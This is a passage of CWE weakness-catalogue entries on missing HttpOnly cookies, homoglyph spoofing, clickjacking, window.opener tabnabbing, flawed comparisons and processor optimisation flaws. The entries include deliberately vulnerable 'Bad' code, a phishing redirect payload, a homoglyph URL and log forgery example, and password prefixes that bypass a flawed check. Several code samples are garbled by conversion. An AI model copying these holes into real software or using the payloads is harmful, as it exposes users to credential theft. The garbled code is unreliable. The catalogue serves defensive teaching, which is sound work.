**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Undetermined*)

## Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.</i>	
Integrity	Gain Privileges or Assume Identity  <i>If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.</i>	

## Potential Mitigations

### Phase: Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

*Effectiveness = High*

*While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHttpRequest to read the headers directly and obtain the cookie.*

## Demonstrative Examples

### Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

*Example Language: Java*

*(Bad)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

*Example Language: JavaScript*

*(Attack)*

```
document.write('')
```

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

*Example Language: Java*

*(Good)*

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

## Observed Examples

Reference	Description
<b>CVE-2014-3852</b>	CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2014-3852">https://www.cve.org/CVERecord?id=CVE-2014-3852</a>
<b>CVE-2015-4138</b>	Appliance for managing encrypted communications does not use HttpOnly flag. <a href="https://www.cve.org/CVERecord?id=CVE-2015-4138">https://www.cve.org/CVERecord?id=CVE-2015-4138</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	<input checked="" type="checkbox"/>	1344 2286

## References

[REF-2]OWASP. "HttpOnly". < <https://www.owasp.org/index.php/HttpOnly> >.

[REF-3]Michael Howard. "Some Bad News and Some Good News". 2002. < <https://msdn.microsoft.com/en-us/library/ms972826.aspx> >.

[REF-4]Troy Hunt. "C is for cookie, H is for hacker - understanding HTTP only and Secure cookies". 2013 March 6. < <https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/> >.

[REF-5]Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". < <https://msdn.microsoft.com/en-us/library/ms533046.aspx> >.

## CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User

**Weakness ID** : 1007

**Structure** : Simple

**Abstraction** : Base

### Description

The product displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.

### Extended Description

Some glyphs, pictures, or icons can be semantically distinct to a program, while appearing very similar or identical to a human user. These are referred to as homoglyphs. For example, the lowercase "l" (ell) and uppercase "I" (eye) have different character codes, but these characters can be displayed in exactly the same way to a user, depending on the font. This can also occur between different character sets. For example, the Latin capital letter "A" and the Greek capital letter "Α" (Alpha) are treated as distinct by programs, but may be displayed in exactly the same way to a user. Accent marks may also cause letters to appear very similar, such as the Latin capital letter grave mark "À" and its equivalent "Á" with the acute accent.

Adversaries can exploit this visual similarity for attacks such as phishing, e.g. by providing a link to an attacker-controlled hostname that looks like a hostname that the victim trusts. In a different use of homoglyphs, an adversary may create a back door username that is visually similar to the username of a regular user, which then makes it more difficult for a system administrator to detect the malicious username while reviewing logs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		451	User Interface (UI) Misrepresentation of Critical Information	1020

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	2112

### Weakness Ordinalities

**Resultant** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Based (*Prevalence = Sometimes*)

### Alternate Terms

**Homograph Attack** : "Homograph" is often used as a synonym of "homoglyph" by researchers, but according to Wikipedia, a homograph is a word that has multiple, distinct meanings.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Other <i>An attacker may ultimately redirect a user to a malicious website, by deceiving the user into believing the URL they are accessing is a trusted domain. However, the attack can also be used to forge log entries by using homoglyphs in usernames. Homoglyph manipulations are often the first step towards executing advanced attacks such as stealing a user's credentials, Cross-Site Scripting (XSS), or log forgery. If an attacker redirects a user to a malicious site, the attacker can mimic a trusted domain to steal account credentials and perform actions on behalf of the user, without the user's knowledge. Similarly, an attacker could create a username for a website that contains homoglyph characters, making it difficult for an admin to review logs and determine which users performed which actions.</i>	

## Detection Methods

### Manual Dynamic Analysis

If utilizing user accounts, attempt to submit a username that contains homoglyphs. Similarly, check to see if links containing homoglyphs can be sent via email, web browsers, or other mechanisms.

*Effectiveness = Moderate*

## Potential Mitigations

### Phase: Implementation

Use a browser that displays Punycode for IDNs in the URL and status bars, or which color code various scripts in URLs. Due to the prominence of homoglyph attacks, several browsers now help safeguard against this attack via the use of Punycode. For example, Mozilla Firefox and Google Chrome will display IDNs as Punycode if top-level domains do not restrict which characters can be used in domain names or if labels mix scripts for different languages.

### Phase: Implementation

Use an email client that has strict filters and prevents messages that mix character sets to end up in a user's inbox. Certain email clients such as Google's GMail prevent the use of non-Latin characters in email addresses or in links contained within emails. This helps prevent homoglyph attacks by flagging these emails and redirecting them to a user's spam folder.

## Demonstrative Examples

### Example 1:

The following looks like a simple, trusted URL that a user may frequently access.

*Example Language:*

*(Attack)*

```
http://www.#x#m#l#.##m
```

However, the URL above is comprised of Cyrillic characters that look identical to the expected ASCII characters. This results in most users not being able to distinguish between the two and assuming that the above URL is trusted and safe. The "e" is actually the "CYRILLIC SMALL LETTER IE" which is represented in HTML as the character `&#x435`, while the "a" is actually



the "CYRILLIC SMALL LETTER A" which is represented in HTML as the character `&#x430`. The "p", "c", and "o" are also Cyrillic characters in this example. Viewing the source reveals a URL of "http://www.&#x435;x&#x430;m&#x440;l&#x435;.&#x441;&#x43e;m". An adversary can utilize this approach to perform an attack such as a phishing attack in order to drive traffic to a malicious website.

### Example 2:

The following displays an example of how creating usernames containing homoglyphs can lead to log forgery.

Assume an adversary visits a legitimate, trusted domain and creates an account named "admin", except the 'a' and 'i' characters are Cyrillic characters instead of the expected ASCII. Any actions the adversary performs will be saved to the log file and look like they came from a legitimate administrator account.

Example Language:

(Result)

```
123.123.123.123 #dm#n [17/Jul/2017:09:05:49 -0400] "GET /example/users/userlist HTTP/1.1" 401 12846
123.123.123.123 #dm#n [17/Jul/2017:09:06:51 -0400] "GET /example/users/userlist HTTP/1.1" 200 4523
123.123.123.123 admin [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
```

Upon closer inspection, the account that generated three of these log entries is "&#x430;dm&#x456;n". Only the third log entry is by the legitimate admin account. This makes it more difficult to determine which actions were performed by the adversary and which actions were executed by the legitimate "admin" account.

### Observed Examples

Reference	Description
<b>CVE-2013-7236</b>	web forum allows impersonation of users with homoglyphs in account names <a href="https://www.cve.org/CVERecord?id=CVE-2013-7236">https://www.cve.org/CVERecord?id=CVE-2013-7236</a>
<b>CVE-2012-0584</b>	Improper character restriction in URLs in web browser <a href="https://www.cve.org/CVERecord?id=CVE-2012-0584">https://www.cve.org/CVERecord?id=CVE-2012-0584</a>
<b>CVE-2009-0652</b>	Incomplete denylist does not include homoglyphs of "/" and "?" characters in URLs <a href="https://www.cve.org/CVERecord?id=CVE-2009-0652">https://www.cve.org/CVERecord?id=CVE-2009-0652</a>
<b>CVE-2017-5015</b>	web browser does not convert hyphens to punycode, allowing IDN spoofing in URLs <a href="https://www.cve.org/CVERecord?id=CVE-2017-5015">https://www.cve.org/CVERecord?id=CVE-2017-5015</a>
<b>CVE-2005-0233</b>	homoglyph spoofing using punycode in URLs and certificates <a href="https://www.cve.org/CVERecord?id=CVE-2005-0233">https://www.cve.org/CVERecord?id=CVE-2005-0233</a>
<b>CVE-2005-0234</b>	homoglyph spoofing using punycode in URLs and certificates <a href="https://www.cve.org/CVERecord?id=CVE-2005-0234">https://www.cve.org/CVERecord?id=CVE-2005-0234</a>
<b>CVE-2005-0235</b>	homoglyph spoofing using punycode in URLs and certificates <a href="https://www.cve.org/CVERecord?id=CVE-2005-0235">https://www.cve.org/CVERecord?id=CVE-2005-0235</a>

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
632	Homograph Attack via Homoglyphs

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.



[REF-8]Gregory Baatard and Peter Hannay. "The 2011 IDN Homograph Attack Mitigation Survey". 2012. ECU Publications. < <http://ro.ecu.edu.au/cgi/viewcontent.cgi?article=1174&context=ecuworks2012> >.

## CWE-1021: Improper Restriction of Rendered UI Layers or Frames

**Weakness ID** : 1021

**Structure** : Simple

**Abstraction** : Base

### Description

The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.



### Extended Description

A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		451	User Interface (UI) Misrepresentation of Critical Information	1020
ChildOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	1005

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	2112

### Applicable Platforms

**Technology** : Web Based (*Prevalence = Undetermined*)

### Alternate Terms

**Clickjacking** :

**UI Redress Attack** :

**Tapjacking** : "Tapjacking" is similar to clickjacking, except it is used for mobile applications in which the user "taps" the application instead of performing a mouse click.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism	

Scope	Impact	Likelihood
	Read Application Data Modify Application Data  <i>An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trick the user into changing privacy settings.</i>	

## Potential Mitigations

### Phase: Implementation

The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content. The concept of X-Frame-Options is well documented, but implementation of this protection mechanism is in development to cover gaps. There is a need for allowing frames from multiple domains.

### Phase: Implementation

A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned. It is also important to note that this tactic has been circumvented or bypassed. Improper usage of frames can persist in the web application through nested frames. The "frame-breaking" script does not intuitively account for multiple nested frames that can be presented to the user.

### Phase: Implementation

This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the developer should use the "frame-ancestors" directive or the "frame-src" directive to mitigate this weakness. Both directives allow for the placement of restrictions when it comes to allowing embedded content.

## Observed Examples

Reference	Description
<b>CVE-2017-7440</b>	E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message <a href="https://www.cve.org/CVERecord?id=CVE-2017-7440">https://www.cve.org/CVERecord?id=CVE-2017-7440</a>
<b>CVE-2017-5697</b>	Hardware/firmware product has insufficient clickjacking protection in its web user interface <a href="https://www.cve.org/CVERecord?id=CVE-2017-5697">https://www.cve.org/CVERecord?id=CVE-2017-5697</a>
<b>CVE-2017-4015</b>	Clickjacking in data-loss prevention product via HTTP response header. <a href="https://www.cve.org/CVERecord?id=CVE-2017-4015">https://www.cve.org/CVERecord?id=CVE-2017-4015</a>
<b>CVE-2016-2496</b>	Tapjacking in permission dialog for mobile OS allows access of private storage using a partially-overlapping window. <a href="https://www.cve.org/CVERecord?id=CVE-2016-2496">https://www.cve.org/CVERecord?id=CVE-2016-2496</a>
<b>CVE-2015-1241</b>	Tapjacking in web browser related to page navigation and touch/gesture events. <a href="https://www.cve.org/CVERecord?id=CVE-2015-1241">https://www.cve.org/CVERecord?id=CVE-2015-1241</a>
<b>CVE-2017-0492</b>	System UI in mobile OS allows a malicious application to create a UI overlay of the entire screen to gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2017-0492">https://www.cve.org/CVERecord?id=CVE-2017-0492</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
103	Clickjacking
181	Flash File Overlay
222	iFrame Overlay
504	Task Impersonation
506	Tapjacking
587	Cross Frame Scripting (XFS)
654	Credential Prompt Impersonation

### References

- [REF-35]Andrew Horton. "Clickjacking For Shells". < <https://www.exploit-db.com/docs/17881.pdf> >.
- [REF-36]OWASP. "Clickjacking - OWASP". < <https://www.owasp.org/index.php/Clickjacking> >.
- [REF-37]Internet Security. "SecTheory". < <http://www.sectheory.com/clickjacking.html> >.
- [REF-38]W3C. "Content Security Policy Level 3". < <https://w3c.github.io/webappsec-csp/> >.

## CWE-1022: Use of Web Link to Untrusted Target with window.opener Access

**Weakness ID** : 1022

**Structure** : Simple

**Abstraction** : Variant

### Description

The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.

### Extended Description

When a user clicks a link to an external site ("target"), the target="\_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link. If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin. An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓘ	266	Incorrect Privilege Assignment	605

### Applicable Platforms

**Language** : JavaScript (*Prevalence = Often*)

**Technology** : Web Based (*Prevalence = Often*)

### Alternate Terms

**tabnabbing** :

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Alter Execution Logic <i>The user may be redirected to an untrusted page that contains undesired content or malicious script code.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Specify in the design that any linked external document must not be granted access to the location object of the calling page.

#### Phase: Implementation

When creating a link to an external document using the <a> tag with a defined target, for example "\_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer". If opening the external document in a new window via javascript, then reset the opener by setting it equal to null.

#### Phase: Implementation

Do not use "\_blank" targets. However, this can affect the usability of the application.

### Demonstrative Examples

#### Example 1:

In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.

There are two ways that this weakness is commonly seen. The first is when the application generates an <a> tag is with target="\_blank" to point to a target site:

*Example Language: HTML*

*(Bad)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank">
```

If the attacker offers a useful page on this link (or compromises a trusted, popular site), then a user may click on this link. However, the attacker could use scripting code to modify the window.opener's location property to redirect the application to a malicious, attacker-controlled page - such as one that mimics the look and feel of the original application and convinces the user to re-enter authentication credentials, i.e. phishing:

*Example Language: JavaScript*

*(Attack)*

```
window.opener.location = 'http://phishing.example.org/popular-bank-page';
```

To mitigate this type of weakness, some browsers support the "rel" attribute with a value of "noopener", which sets the window.opener object equal to null. Another option is to use the "rel" attribute with a value of "noreferrer", which in essence does the same thing.

*Example Language: HTML*

*(Good)*

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank" rel="noopener noreferrer">
```

A second way that this weakness is commonly seen is when opening a new site directly within JavaScript. In this case, a new site is opened using the window.open() function.

*Example Language: JavaScript*

*(Bad)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
```

To mitigate this, set the window.opener object to null.

*Example Language: JavaScript*

*(Good)*

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
newWindow.opener = null;
```

## References

[REF-39]Alex Yumashev. "Target="\_blank" - the most underestimated vulnerability ever". 2016 May 4. < <https://medium.com/@jitbit/target-blank-the-most-underestimated-vulnerability-ever-96e328301f4c> >.

[REF-40]Ben Halpern. "The target="\_blank" vulnerability by example". 2016 September 1. < <https://dev.to/ben/the-targetblank-vulnerability-by-example> >.

[REF-958]Mathias Bynens. "About rel=noopener". 2016 March 5. < <https://mathiasbynens.github.io/rel-noopener/> >.

## CWE-1023: Incomplete Comparison with Missing Factors

**Weakness ID** : 1023

**Structure** : Simple

**Abstraction** : Class

### Description

The product performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.

### Extended Description

An incomplete comparison can lead to resultant weaknesses, e.g., by operating on the wrong object or making a security decision without considering a required factor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428
ParentOf	ⓑ	184	Incomplete List of Disallowed Inputs	441

Nature	Type	ID	Name	Page
ParentOf	V	187	Partial String Comparison	448
ParentOf	E	478	Missing Default Case in Multiple Condition Expression	1079
ParentOf	E	839	Numeric Range Comparison Without Minimum Check	1644

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

### Demonstrative Examples

#### Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

*Example Language: Java*

*(Bad)*

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

#### Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

*Example Language: C*

*(Bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strcmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
}
```

```

}
if (! strcmp(pass, inPass, strlen(inPass))) {
    logEvent("Auth success of password using strlen of inUser");
    return(AUTH_SUCCESS);
}
else {
    logEvent("Auth fail of password using sizeof");
    return(AUTH_FAIL);
}
}
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
}

```

In `AuthenticateUser()`, the `strcmp()` call uses the string length of an attacker-provided `inPass` parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

*Example Language:*

*(Attack)*

```

p
pa
pas
pass

```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

## CWE-1024: Comparison of Incompatible Types

**Weakness ID :** 1024

**Structure :** Simple

**Abstraction :** Base

### Description

The product performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.

### Extended Description



In languages that are strictly typed but support casting/conversion, such as C or C++, the programmer might assume that casting one entity to the same type as another entity will ensure that the comparison will be performed correctly, but this cannot be guaranteed. In languages that are not strictly typed, such as PHP or JavaScript, there may be implicit casting/conversion to a type that the programmer is unaware of, causing unexpected results; for example, the string "123" might be converted to a number type. See examples.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2101

## Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** JavaScript (*Prevalence = Undetermined*)

**Language :** PHP (*Prevalence = Undetermined*)

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## Potential Mitigations

**Phase: Testing**

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

## CWE-1025: Comparison Using Wrong Factors

**Weakness ID :** 1025

**Structure :** Simple

**Abstraction :** Base

### Description

The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.

### Extended Description

This can lead to incorrect results and resultant weaknesses. For example, the code might inadvertently compare references to objects, instead of the relevant contents of those objects, causing two "equal" objects to be considered unequal.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	697	Incorrect Comparison	1428
ParentOf	Ⓟ	486	Comparison of Classes by Name	1100
ParentOf	Ⓟ	595	Comparison of Object References Instead of Object Contents	1256

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	438	Behavioral Problems	2120

## Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

## Potential Mitigations

### Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

## Demonstrative Examples

### Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

*Example Language: Java*

*(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

*Example Language:*

*(Good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

}

## CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

**Weakness ID** : 1037

**Structure** : Simple

**Abstraction** : Base



### Description

The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1038	Insecure Automated Optimizations	1737
PeerOf		1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	1924

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2120

### Weakness Ordinalities

**Primary** : This weakness does not depend on other weaknesses and is the result of choices made by the processor in executing the specified application.

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Rarely*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism	High
<p><i>A successful exploitation of this weakness will change the order of an application's execution and will likely be used to bypass specific protection mechanisms. This bypass can be exploited further to potentially read data that should otherwise be inaccessible.</i></p>		

### Detection Methods

**White Box**

In theory this weakness can be detected through the use of white box testing techniques where specifically crafted test cases are used in conjunction with debuggers to verify the order of statements being executed.

*Effectiveness = Opportunistic*

*Although the mentioned detection method is theoretically possible, the use of speculative execution is a preferred way of increasing processor performance. The reality is that a large number of statements are executed out of order, and determining if any of them break an access control property would be extremely opportunistic.*

### Observed Examples

Reference	Description
<b>CVE-2017-5715</b>	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". <a href="https://www.cve.org/CVERecord?id=CVE-2017-5715">https://www.cve.org/CVERecord?id=CVE-2017-5715</a>
<b>CVE-2017-5753</b>	Intel, ARM, and AMD processor optimizations related to speculative execution and branch prediction cause access control checks to be bypassed when placing data into the cache. Often known as "Spectre". <a href="https://www.cve.org/CVERecord?id=CVE-2017-5753">https://www.cve.org/CVERecord?id=CVE-2017-5753</a>
<b>CVE-2017-5754</b>	Intel processor optimizations related to speculative execution cause access control checks to be bypassed when placing data into the cache. Often known as "Meltdown". <a href="https://www.cve.org/CVERecord?id=CVE-2017-5754">https://www.cve.org/CVERecord?id=CVE-2017-5754</a>

### Notes

#### Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are closely analyzing this entry and others to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks. Additional investigation may include other weaknesses related to microarchitectural state. As a result, this entry might change significantly in CWE 4.10.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
663	Exploitation of Transient Instruction Execution

### References

[REF-11]Paul Kocher, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz and Yuval Yarom. "Spectre Attacks: Exploiting Speculative Execution". 2018 January 3. < <https://arxiv.org/abs/1801.01203> >.

[REF-12]Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom and Mike Hamburg. "Meltdown". 2018 January 3. < <https://arxiv.org/abs/1801.01207> >.

## CWE-1038: Insecure Automated Optimizations

**Weakness ID** : 1038

**Structure** : Simple

**Abstraction** : Class




### Description

The product uses a mechanism that automatically optimizes code, e.g. to improve a characteristic such as performance, but the optimizations can have an unintended side effect that might violate an intended security assumption.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1472
ChildOf	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	998
ParentOf		733	Compiler Optimization Removal or Modification of Security-critical Code	1454
